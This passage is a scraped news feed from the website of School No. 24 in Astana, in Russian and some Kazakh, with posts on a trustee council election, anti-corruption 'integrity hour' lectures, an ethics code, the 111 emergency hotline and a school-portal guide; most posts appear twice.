распределении финансовых средств, поступивших в организацию образования в виде благотворительной помощи и принимает решение о его целевом расходовании;6) вырабатывает предложения при формировании бюджета организации образования;7) вносит предложения уполномоченному органу соответствующей отрасли или местному исполнительному органу в области образования об устранении выявленных Попечительским советом недостатков в работе организации образования;8) согласовывает и выносит протокольное решение по итогам собеседования с кандидатами на занятие вакантной должности руководителя организации среднего образования;9) заслушивает отчеты руководителя организации образования о деятельности организации образования, в том числе о качественном предоставлении образовательных услуг, об использовании благотворительной помощи и принимаемых мерах по устройству детей-сирот и детей, оставшихся без попечения родителей в семьи казахстанских граждан;10) участвует в конференциях, совещаниях, семинарах по вопросам деятельности организаций образования;11) знакомится с деятельностью организации образования, условиями предоставленными обучающимся и воспитанникам организации образования, проводят с ними беседу в присутствии психолога организации образования. Приглашаются: представители местных представительных, исполнительных и правоохранительных органов, представители работодателей и социальных партнеров, представители некоммерческих организаций, по одному родителю или законному представителю обучающихся в данной организации образования из каждой параллели классов, рекомендованные родительским комитетом, благотворители.Типовые правила организации работы Попечительского совета и порядок его избрания в организациях образования осуществляется согласно Приказу Министра образования и науки Республики Казахстан «Об утверждении Типовых правил организации работы Попечительского совета и порядок его избрания в организациях образования» от 27 июля 2017 года № 355. Срок приема предложений до 4 декабря 2020 года.(заявления принимаются в канцелярии организации образования или на электронной почте: <a href="mailto:school-24kz@mail.ru">school-24kz@mail.ru</a> собязательной копией на адреc anar.moldahanova@mail.ru В теме письма указать: « Поп.Совет». С уважением директор школы:Cүндетов Г.Н.ОБЪЯВЛЕНИЕ О ПЕРЕИЗБРАНИИ ПОПЕЧИТЕЛЬСКОГО СОВЕТАУважаемые коллеги и друзья!!!! Сбор и прием предложений для сотрудничества с 19 ноября по 4 декабря 2020 года.!!! КГУ средняя школа №24 акимата города Нур-Султан, объявляет о формировании состава Попечительского совета и приеме предложений по его составу. Попечительский совет формируется для оказания общественного контроля за соблюдением прав обучающихся и воспитанников.Полномочия Попечительского совета:1) осуществляет общественный контроль за соблюдением прав обучающихся и воспитанников организации образования, а также за расходованием благотворительной помощи, поступающих на счет образовательных учреждений;2) вырабатывает предложения о внесении изменений и/или дополнений в устав организации образования;3) вырабатывает рекомендации по приоритетным направлениям развития организации образования;4) вырабатывает предложения по совершенствованию мер по вопросам устройства детей-сирот и детей, оставшихся без попечения родителей в семьи казахстанских граждан;5) участвует в распределении финансовых средств, поступивших в организацию образования в виде благотворительной помощи и принимает решение о его целевом расходовании;6) вырабатывает предложения при формировании бюджета организации образования;7) вносит предложения уполномоченному органу соответствующей отрасли или местному исполнительному органу в области образования об устранении выявленных Попечительским советом недостатков в работе организации образования;8) согласовывает и выносит протокольное решение по итогам собеседования с кандидатами на занятие вакантной должности руководителя организации среднего образования;9) заслушивает отчеты руководителя организации образования о деятельности организации образования, в том числе о качественном предоставлении образовательных услуг, об использовании благотворительной помощи и принимаемых мерах по устройству детей-сирот и детей, оставшихся без попечения родителей в семьи казахстанских граждан;10) участвует в конференциях, совещаниях, семинарах по вопросам деятельности организаций образования;11) знакомится с деятельностью организации образования, условиями предоставленными обучающимся и воспитанникам организации образования, проводят с ними беседу в присутствии психолога организации образования. Приглашаются: представители местных представительных, исполнительных и правоохранительных органов, представители работодателей и социальных партнеров, представители некоммерческих организаций, по одному родителю или законному представителю обучающихся в данной организации образования из каждой параллели классов, рекомендованные родительским комитетом, благотворители.Типовые правила организации работы Попечительского совета и порядок его избрания в организациях образования осуществляется согласно Приказу Министра образования и науки Республики Казахстан «Об утверждении Типовых правил организации работы Попечительского совета и порядок его избрания в организациях образования» от 27 июля 2017 года № 355. Срок приема предложений до 4 декабря 2020 года.(заявления принимаются в канцелярии организации образования или на электронной почте: <a href="mailto:school-24kz@mail.ru">school-24kz@mail.ru</a> собязательной копией на адреc anar.moldahanova@mail.ru В теме письма указать: « Поп.Совет». С уважением директор школы:Cүндетов Г.Н.24mektepTue, 24 Nov 2020 15:11:23 +0600http://24.astana-bilim.kz/news/?pkid=1606209166673722Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1606209166673722В СТОЛИЦЕ ПРОВЕДЕН «ЧАС ДОБРОПОРЯДОЧНОСТИ» С АРДАКОМ НАЗАРОВЫМhttp://24.astana-bilim.kz/news/?pkid=1604899025778982<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1604899025778982.jpeg" /> В СТОЛИЦЕ ПРОВЕДЕН «ЧАС ДОБРОПОРЯДОЧНОСТИ» С АРДАКОМ НАЗАРОВЫМ Агентством по противодействию коррупции проведен очередной онлайн «Час добропорядочности» с трехкратным чемпионом мира по смешанным единоборствам, профессиональным спортсменом Ардаком Назаровым.Герой видео-лекции начал свою спортивную деятельность в 1991 году с секции греко-римской борьбы.На протяжении своей последующей карьеры А. Назаров достигал хороших результатов и становился призером на районных, областных и республиканских соревнованиях по греко-римской борьбе, джиу-джитсу и панкратиону, поднимая флаг Казахстана на пьедестале множества спортивных состязаний.В ходе интервью знаменитый спортсмен поделился своими мыслями на тему ценности семьи, единства и взаимоуважения, призывая молодежь патриотизму и добропорядочности.Как он отметил: «Добропорядочный человек, это мудрая личность, достигший внутреннего совершенства и духовно-нравственного развития, умеющий принимать правильные решения, четко отличающий границы черного и белого».А. Назаров обратил особое внимание на необходимость привития у современной молодежи любви к чтению и саморазвитию.Все свои победы и достижения он связывает с упорным трудом, «когда другие спортсмены тренировались 3 раза в неделю, я тренировался 13 раз, когда они утром уделяли два часа на занятия, я занимался вдвое больше» сказал он.Сегодня чемпион мира – пример для многих. На каждой своей встрече он призывает молодежь усердно трудиться для достижения поставленных целей, почитать старших, любить Родину и придерживаться здорового образа жизни.Продвижение идеологии добропорядочности среди молодежи в рамках акции «Час добропорядочности» с привлечением известных личностей Казахстана будет продолжена. Ссылка на видео-урок: <a href="https://www.youtube.com/watch?v=s9LHdfynaX0&amp;list=PLvN9UMfEpeunSj5iXGTaI9CFjkGNXE2UN">https://www.youtube.com/watch?v=s9LHdfynaX0&amp;list=PLvN9UMfEpeunSj5iXGTaI9CFjkGNXE2UN</a><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1604899025778982.jpeg" /> В СТОЛИЦЕ ПРОВЕДЕН «ЧАС ДОБРОПОРЯДОЧНОСТИ» С АРДАКОМ НАЗАРОВЫМ Агентством по противодействию коррупции проведен очередной онлайн «Час добропорядочности» с трехкратным чемпионом мира по смешанным единоборствам, профессиональным спортсменом Ардаком Назаровым.Герой видео-лекции начал свою спортивную деятельность в 1991 году с секции греко-римской борьбы.На протяжении своей последующей карьеры А. Назаров достигал хороших результатов и становился призером на районных, областных и республиканских соревнованиях по греко-римской борьбе, джиу-джитсу и панкратиону, поднимая флаг Казахстана на пьедестале множества спортивных состязаний.В ходе интервью знаменитый спортсмен поделился своими мыслями на тему ценности семьи, единства и взаимоуважения, призывая молодежь патриотизму и добропорядочности.Как он отметил: «Добропорядочный человек, это мудрая личность, достигший внутреннего совершенства и духовно-нравственного развития, умеющий принимать правильные решения, четко отличающий границы черного и белого».А. Назаров обратил особое внимание на необходимость привития у современной молодежи любви к чтению и саморазвитию.Все свои победы и достижения он связывает с упорным трудом, «когда другие спортсмены тренировались 3 раза в неделю, я тренировался 13 раз, когда они утром уделяли два часа на занятия, я занимался вдвое больше» сказал он.Сегодня чемпион мира – пример для многих. На каждой своей встрече он призывает молодежь усердно трудиться для достижения поставленных целей, почитать старших, любить Родину и придерживаться здорового образа жизни.Продвижение идеологии добропорядочности среди молодежи в рамках акции «Час добропорядочности» с привлечением известных личностей Казахстана будет продолжена. Ссылка на видео-урок: <a href="https://www.youtube.com/watch?v=s9LHdfynaX0&list=PLvN9UMfEpeunSj5iXGTaI9CFjkGNXE2UN">https://www.youtube.com/watch?v=s9LHdfynaX0&list=PLvN9UMfEpeunSj5iXGTaI9CFjkGNXE2UN</a>24mektepMon, 09 Nov 2020 11:15:04 +0600http://24.astana-bilim.kz/news/?pkid=1604899025778982Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1604899025778982«Асык ату» называют «боулингом для кочевников». Игра развивает глазомер и развивают ловкость. У нее есть и женский вариант – «бес асык».http://24.astana-bilim.kz/news/?pkid=1603771991370911<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1603771991370911.jpg" /> «Асык ату» называют «боулингом для кочевников». Игра развивает глазомер и развивают ловкость. У нее есть и женский вариант – «бес асык». Казахская игра в кости вошла в список нематериального культурного наследия ЮНЕСКО. Представители организации назвали ее примером сплоченности и дружбы. Не забывают о развлечении предков и сами казахстанцы. В период карантина казахстанцы играть стали чаще, наиболее предприимчивые даже строят на этом бизнес. Подробности у Алены Грачевой. <a href="http://kz.mir24.tv/news/105253">http://kz.mir24.tv/news/105253 </a><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1603771991370911.jpg" /> «Асык ату» называют «боулингом для кочевников». Игра развивает глазомер и развивают ловкость. У нее есть и женский вариант – «бес асык». Казахская игра в кости вошла в список нематериального культурного наследия ЮНЕСКО. Представители организации назвали ее примером сплоченности и дружбы. Не забывают о развлечении предков и сами казахстанцы. В период карантина казахстанцы играть стали чаще, наиболее предприимчивые даже строят на этом бизнес. Подробности у Алены Грачевой. <a href="http://kz.mir24.tv/news/105253">http://kz.mir24.tv/news/105253 </a>24mektepTue, 27 Oct 2020 10:11:53 +0600http://24.astana-bilim.kz/news/?pkid=1603771991370911Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1603771991370911Рамка “Я горжусь своим флагомhttp://24.astana-bilim.kz/news/?pkid=1603443254476591<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1603443254476591.jpeg" /> Рамка “Я горжусь своим флагом «Флаг является одним из главных символов государства и олицетворяет собой суверенитет и идентичность народа. Надо с большой гордостью относиться к символу Независимости Казахстана. Мы присоединились к акции «Я горжусь своим флагом» и призываем своих коллег также проявить свой патриотизм!»«Мөлдір, бұлтсыз ашық аспан күмбезің, Бейнелеген алтын шапақ күн көзін. Адалдық пен пәктік көңіл нышаны Көріп жүрмін көк туымды күнде өзім», - деп жыр арнаған қолданушылардың бірі. <a href="http://www.facebook.com/profilepicframes/?selected_overlay_id=4523558427716622"> http://www.facebook.com/profilepicframes/?selected_overlay_id=4523558427716622</a> <a href="https://www.youtube.com/watch?v=XI95ng73q04&amp;feature=youtu.be">https://www.youtube.com/watch?v=XI95ng73q04&amp;feature=youtu.be</a> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-10-23%20at%2014.21.38.jpeg" alt="" width="1181" height="1181" /><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1603443254476591.jpeg" /> Рамка “Я горжусь своим флагом «Флаг является одним из главных символов государства и олицетворяет собой суверенитет и идентичность народа. Надо с большой гордостью относиться к символу Независимости Казахстана. Мы присоединились к акции «Я горжусь своим флагом» и призываем своих коллег также проявить свой патриотизм!»«Мөлдір, бұлтсыз ашық аспан күмбезің, Бейнелеген алтын шапақ күн көзін. Адалдық пен пәктік көңіл нышаны Көріп жүрмін көк туымды күнде өзім», - деп жыр арнаған қолданушылардың бірі. <a href="http://www.facebook.com/profilepicframes/?selected_overlay_id=4523558427716622"> http://www.facebook.com/profilepicframes/?selected_overlay_id=4523558427716622</a> <a href="https://www.youtube.com/watch?v=XI95ng73q04&feature=youtu.be">https://www.youtube.com/watch?v=XI95ng73q04&feature=youtu.be</a> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/15.05.19%D0%B6/WhatsApp%20Image%202020-10-23%20at%2014.21.38.jpeg" alt="" width="1181" height="1181" />24mektepFri, 23 Oct 2020 14:45:23 +0600http://24.astana-bilim.kz/news/?pkid=1603443254476591Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1603443254476591О назначении уполномоченного по этике и противодействию коррупции http://24.astana-bilim.kz/news/?pkid=1602743409280170О назначении уполномоченного по этике и противодействию коррупции В целях осуществления антикоррупционной политики,формированию культуры добропорядочности в организации образования,а так соблюдения норм служебной этики и профилактики нарушений законодательства <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D1%8D%D0%BA%D0%BE%D1%88%D0%BA%D0%BE%D0%BB%D0%B02020/%D1%8D%D0%BA%D0%BE%D1%88%D0%BA%D0%BE%D0%BB%D0%B0/WhatsApp%20Image%202020-10-15%20at%2011.36.41%20(1).jpeg" alt="" width="640" height="925" /> Антикоррупционный стандарт <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.03.25%20(2).jpeg" alt="" width="290" height="401" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.03.25%20(1).jpeg" alt="" width="275" height="383" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.03.26%20(1).jpeg" alt="" width="324" height="576" />ОБЩИЕ ПОЛОЖЕНИЯ 1. Настоящий кодекс этики __________________(далее — Кодекс) разработан в соответствии с положениями законодательства Республики Казахстан, с учетом требований Международной Организации Труда, Устава, и иных внутренних документов и представляет собой свод правил и принципов, которыми руководствуются работники организации.2. Целью настоящего Кодекса является развитие корпоративной культуры в Организации и построение эффективного взаимодействия с заинтересованными лицами путем применения лучшей практики поведения.3. Организация принимает и следует требованиям настоящего Кодекса во взаимоотношениях с должностными лицами и работниками, другими заинтересованными лицами для принятия решений как стратегически важных, так и в повседневных ситуациях, с которыми сталкиваются должностные лица и работники Организации.4. В настоящем Кодексе используются следующие понятия и термины:Этика — совокупность этических принципов и норм делового поведения, которыми руководствуются в своей деятельности должностные лица и работники;Заинтересованное лицо — лицо, реализация прав которого, предусмотренных Законодательством и УставомКонфликт интересов — ситуация, в которой личная заинтересованность работника или должностного лица влияет или может повлиять на беспристрастное исполнение им своих должностных обязанностей;Работник— лицо, состоящее в трудовых отношениях и непосредственно выполняющее работу по трудовому договору. <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.15.43.jpeg" alt="" width="318" height="435" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.15.44%20(1).jpeg" alt="" width="285" height="400" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.15.44.jpeg" alt="" width="318" height="427" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.15.45%20(1).jpeg" alt="" width="301" height="423" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.15.45.jpeg" alt="" width="311" height="421" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.15.46.jpeg" alt="" width="268" height="476" />О назначении уполномоченного по этике и противодействию коррупции В целях осуществления антикоррупционной политики,формированию культуры добропорядочности в организации образования,а так соблюдения норм служебной этики и профилактики нарушений законодательства <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D1%8D%D0%BA%D0%BE%D1%88%D0%BA%D0%BE%D0%BB%D0%B02020/%D1%8D%D0%BA%D0%BE%D1%88%D0%BA%D0%BE%D0%BB%D0%B0/WhatsApp%20Image%202020-10-15%20at%2011.36.41%20(1).jpeg" alt="" width="640" height="925" /> Антикоррупционный стандарт <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.03.25%20(2).jpeg" alt="" width="290" height="401" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.03.25%20(1).jpeg" alt="" width="275" height="383" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.03.26%20(1).jpeg" alt="" width="324" height="576" />ОБЩИЕ ПОЛОЖЕНИЯ 1. Настоящий кодекс этики __________________(далее — Кодекс) разработан в соответствии с положениями законодательства Республики Казахстан, с учетом требований Международной Организации Труда, Устава, и иных внутренних документов и представляет собой свод правил и принципов, которыми руководствуются работники организации.2. Целью настоящего Кодекса является развитие корпоративной культуры в Организации и построение эффективного взаимодействия с заинтересованными лицами путем применения лучшей практики поведения.3. Организация принимает и следует требованиям настоящего Кодекса во взаимоотношениях с должностными лицами и работниками, другими заинтересованными лицами для принятия решений как стратегически важных, так и в повседневных ситуациях, с которыми сталкиваются должностные лица и работники Организации.4. В настоящем Кодексе используются следующие понятия и термины:Этика — совокупность этических принципов и норм делового поведения, которыми руководствуются в своей деятельности должностные лица и работники;Заинтересованное лицо — лицо, реализация прав которого, предусмотренных Законодательством и УставомКонфликт интересов — ситуация, в которой личная заинтересованность работника или должностного лица влияет или может повлиять на беспристрастное исполнение им своих должностных обязанностей;Работник— лицо, состоящее в трудовых отношениях и непосредственно выполняющее работу по трудовому договору. <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.15.43.jpeg" alt="" width="318" height="435" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.15.44%20(1).jpeg" alt="" width="285" height="400" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.15.44.jpeg" alt="" width="318" height="427" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.15.45%20(1).jpeg" alt="" width="301" height="423" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.15.45.jpeg" alt="" width="311" height="421" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-10-19%20at%2013.15.46.jpeg" alt="" width="268" height="476" />24mektepThu, 15 Oct 2020 12:18:34 +0600http://24.astana-bilim.kz/news/?pkid=1602743409280170Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1602743409280170Об "Экстренной службе 111"http://24.astana-bilim.kz/news/?pkid=1602701913815329<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1602701913815329.jpeg" /> <h2>Об "Экстренной службе 111"</h2><div class="com_view clearfix"><div class="img"><img src="https://20.astana-bilim.kz/files/sites/1383501220513611/news/1602608471206624.jpeg" alt="" /></div><div class="description"> </div></div><hr /><div class="clearfix">С 1 сентября 2020 года начал свою работу контакт-центр «Экстренная служба 111» при Республиканском общественном совете по вопросам семьи, женщин и прав детей партии «Nur Otan» и организовывает помощь напрямую со всеми государственными органами и 2324 группами оперативного реагирования. Все обращения держатся на контроле региональных филиалов партии «Nur Otan». Контакт-центр «Экстренная служа 111» при Совете партии «Nur Otan» открыта для того, чтобы дети и взрослые знали куда можно обращаться, если им самим нужна помощь или им стало известно о семье, которая находится в трудной жизненной ситуации, сообщать о случаях семейно-бытового насилия, нарушении прав детей, о том, что ребёнок остался один на улице, в доме, машине или его жизни, здоровью угрожает опасность, совершается насилие и жестокое обращение или если есть объект, представляющий опасность для детей, как открытый люк, линия высоковольтных передач, водоисточник, ребенок остался без присмотра, что ему угрожает опасность, если в отношении ребёнка применятся жестокое обращение, женщина подвергается семейно-бытовому насилию, нарушаются их права. <img src="https://cdn1.kdt.kz/files/sites/1383501220513611/files/2020-2021%20%D1%83%D1%87%D0%B5%D0%B1%D0%BD%D1%8B%D0%B9%20%D0%B3%D0%BE%D0%B4/%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D1%80%D1%83%D1%81%20%D0%B2%D0%B7%D1%80%D0%BE%D1%81.jpeg?_t=1602606408" alt="" /> <a href="https://youtu.be/KpkKelRW3WA">https://youtu.be/KpkKelRW3WA</a> <a href="https://youtu.be/WGmYwcurvzI">https://youtu.be/WGmYwcurvzI</a> </div><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1602701913815329.jpeg" /> <h2>Об "Экстренной службе 111"</h2><div class="com_view clearfix"><div class="img"><img src="https://20.astana-bilim.kz/files/sites/1383501220513611/news/1602608471206624.jpeg" alt="" /></div><div class="description"> </div></div><hr /><div class="clearfix">С 1 сентября 2020 года начал свою работу контакт-центр «Экстренная служба 111» при Республиканском общественном совете по вопросам семьи, женщин и прав детей партии «Nur Otan» и организовывает помощь напрямую со всеми государственными органами и 2324 группами оперативного реагирования. Все обращения держатся на контроле региональных филиалов партии «Nur Otan». Контакт-центр «Экстренная служа 111» при Совете партии «Nur Otan» открыта для того, чтобы дети и взрослые знали куда можно обращаться, если им самим нужна помощь или им стало известно о семье, которая находится в трудной жизненной ситуации, сообщать о случаях семейно-бытового насилия, нарушении прав детей, о том, что ребёнок остался один на улице, в доме, машине или его жизни, здоровью угрожает опасность, совершается насилие и жестокое обращение или если есть объект, представляющий опасность для детей, как открытый люк, линия высоковольтных передач, водоисточник, ребенок остался без присмотра, что ему угрожает опасность, если в отношении ребёнка применятся жестокое обращение, женщина подвергается семейно-бытовому насилию, нарушаются их права. <img src="https://cdn1.kdt.kz/files/sites/1383501220513611/files/2020-2021%20%D1%83%D1%87%D0%B5%D0%B1%D0%BD%D1%8B%D0%B9%20%D0%B3%D0%BE%D0%B4/%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D1%80%D1%83%D1%81%20%D0%B2%D0%B7%D1%80%D0%BE%D1%81.jpeg?_t=1602606408" alt="" /> <a href="https://youtu.be/KpkKelRW3WA">https://youtu.be/KpkKelRW3WA</a> <a href="https://youtu.be/WGmYwcurvzI">https://youtu.be/WGmYwcurvzI</a> </div>24mektepThu, 15 Oct 2020 00:56:28 +0600http://24.astana-bilim.kz/news/?pkid=1602701913815329Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1602701913815329С 21 августа по 10 сентября в городе Нур –Султане проводится оперативно-профилактическое мероприятие «Внимания-дети!»http://24.astana-bilim.kz/news/?pkid=1599229953905256<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1599229953905256.jpeg" /> С 21 августа по 10 сентября в городе Нур –Султане проводится оперативно-профилактическое мероприятие «Внимания-дети!»С 21 августа по 10 сентября в городе Нур –Султане проводится оперативно-профилактическое мероприятие «Внимания-дети!» <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-09-04%20at%2016.37.32%20(1).jpeg" alt="" width="258" height="174" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-09-04%20at%2016.37.33.jpeg" alt="" width="240" height="163" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-09-04%20at%2016.37.32.jpeg" alt="" width="265" height="149" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-09-04%20at%2016.38.09%20(1).jpeg" alt="" width="234" height="175" /><img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1599229953905256.jpeg" /> С 21 августа по 10 сентября в городе Нур –Султане проводится оперативно-профилактическое мероприятие «Внимания-дети!»С 21 августа по 10 сентября в городе Нур –Султане проводится оперативно-профилактическое мероприятие «Внимания-дети!» <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-09-04%20at%2016.37.32%20(1).jpeg" alt="" width="258" height="174" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-09-04%20at%2016.37.33.jpeg" alt="" width="240" height="163" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-09-04%20at%2016.37.32.jpeg" alt="" width="265" height="149" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/2020%20%D0%B6/WhatsApp%20Image%202020-09-04%20at%2016.38.09%20(1).jpeg" alt="" width="234" height="175" />24mektepFri, 04 Sep 2020 19:56:50 +0600http://24.astana-bilim.kz/news/?pkid=1599229953905256Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1599229953905256В СТОЛИЦЕ НОВЫЙ УЧЕБНЫЙ ГОД НАЧАЛСЯ С УРОКОВ ДОБРОПОРЯДОЧНОСТИ НА ТЕМУ: «ХОДЖА АХМЕД ЯСАВИ: ПО ПУТИ СПРАВЕДЛИВОСТИ»http://24.astana-bilim.kz/news/?pkid=1599108453944447В СТОЛИЦЕ НОВЫЙ УЧЕБНЫЙ ГОД НАЧАЛСЯ С УРОКОВ ДОБРОПОРЯДОЧНОСТИ НА ТЕМУ: «ХОДЖА АХМЕД ЯСАВИ: ПО ПУТИ СПРАВЕДЛИВОСТИ» Сегодня по инициативе Агентства по противодействию коррупции при поддержке Министерства образования и науки в честь Дня знаний во всех учебных заведениях страны проходит единый онлайн общереспубликанский «Час добропорядочности».Основная цель мероприятия – формирование у подрастающего поколения антикоррупционной культуры и привитие важнейших нравственных ценностей: честность, справедливость, порядочность и доверие.Онлайн-лекция посвящена разъяснению принципа справедливости великого мыслителя Туранской степи XII века Ходжа Ахмеда Ясави.Роль Ясави в развитии тюркского мира неоспорима, в последствии его наследие сыграло огромную роль в становлении дружественных отношений между тюрскими государствами.Лидер нации Н.А. Назарбаев отметил, что духовное наследие Х.А. Ясави определило систему духовных знаний всей Центральной Азии, в частности Казахстана и всех тюркских государств.В видео-лекциях учащиеся и студенты знакомятся с изречениями великого мыслителя, собранными в «книге мудрости» – Диуани-Хикмет, призывающими к таким человеческим ценностям, как честность и справедливость, добропорядочность и скромность, доброта и благоразумность. Видео-урок при поддержке Министерства информации и общественного развития транслируется в эфирах республиканских и региональных телеканалов, а также размещен на Youtube-канале Агентства и в социальных сетях. Ссылка на видео-урок: <a href="https://www.youtube.com/watch?v=-eWb35nQcrU&amp;list=PLvN9UMfEpeulpwT1xaHAoDnV-WA18i0qg&amp;index=4">https://www.youtube.com/watch?v=-eWb35nQcrU&amp;list=PLvN9UMfEpeulpwT1xaHAoDnV-WA18i0qg&amp;index=4</a>В СТОЛИЦЕ НОВЫЙ УЧЕБНЫЙ ГОД НАЧАЛСЯ С УРОКОВ ДОБРОПОРЯДОЧНОСТИ НА ТЕМУ: «ХОДЖА АХМЕД ЯСАВИ: ПО ПУТИ СПРАВЕДЛИВОСТИ» Сегодня по инициативе Агентства по противодействию коррупции при поддержке Министерства образования и науки в честь Дня знаний во всех учебных заведениях страны проходит единый онлайн общереспубликанский «Час добропорядочности».Основная цель мероприятия – формирование у подрастающего поколения антикоррупционной культуры и привитие важнейших нравственных ценностей: честность, справедливость, порядочность и доверие.Онлайн-лекция посвящена разъяснению принципа справедливости великого мыслителя Туранской степи XII века Ходжа Ахмеда Ясави.Роль Ясави в развитии тюркского мира неоспорима, в последствии его наследие сыграло огромную роль в становлении дружественных отношений между тюрскими государствами.Лидер нации Н.А. Назарбаев отметил, что духовное наследие Х.А. Ясави определило систему духовных знаний всей Центральной Азии, в частности Казахстана и всех тюркских государств.В видео-лекциях учащиеся и студенты знакомятся с изречениями великого мыслителя, собранными в «книге мудрости» – Диуани-Хикмет, призывающими к таким человеческим ценностям, как честность и справедливость, добропорядочность и скромность, доброта и благоразумность. Видео-урок при поддержке Министерства информации и общественного развития транслируется в эфирах республиканских и региональных телеканалов, а также размещен на Youtube-канале Агентства и в социальных сетях. Ссылка на видео-урок: <a href="https://www.youtube.com/watch?v=-eWb35nQcrU&list=PLvN9UMfEpeulpwT1xaHAoDnV-WA18i0qg&index=4">https://www.youtube.com/watch?v=-eWb35nQcrU&list=PLvN9UMfEpeulpwT1xaHAoDnV-WA18i0qg&index=4</a>24mektepThu, 03 Sep 2020 10:46:12 +0600http://24.astana-bilim.kz/news/?pkid=1599108453944447Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1599108453944447Инструкция по работе внешнего портала ИС SAKURAhttp://24.astana-bilim.kz/news/?pkid=1591074682008969Инструкция по работе внешнего портала ИС SAKURA Главная страница внешнего портала выглядит следующим образом. Перед работой с порталом необходимо выбрать город и язык. Полезная информация 1. Карта школ – можно посмотреть на карте города, какие школы находятся рядом с домом 2. Найти школу по месту жительства – данный блок позволяет посмотреть к какой школе по микроучастку относится ваш дом 3. Реестр школ – единый реестр школ с полной информацией о них 4. Реестр педагогов – единый реестр педагогов начальных классов, информация об их рейтинге и показателях качества обучения Карта школ Просмотр школ на карте, для более легкого поиска школы можно применить фильтры по языку обучения, виду школы, формы собственности и расположение. А так же можно ввести наименование организации и произвести поиск. Найти школу по месту жительства Необходимо ввести краткий адрес проживания ребенка и нажать кнопку найти, система автоматически покажет к какой школе относится адрес проживания Реестр школ В реестре школ можно просматривать паспорта школ, для удобства есть фильтры по языку обучения и виду школы. Паспорт школы выглядит следующим образом. В паспорте школы есть вся необходимая информация для родителя <a> </a><a title="Инструкция по работе внешнего портала ИС SAKURA" 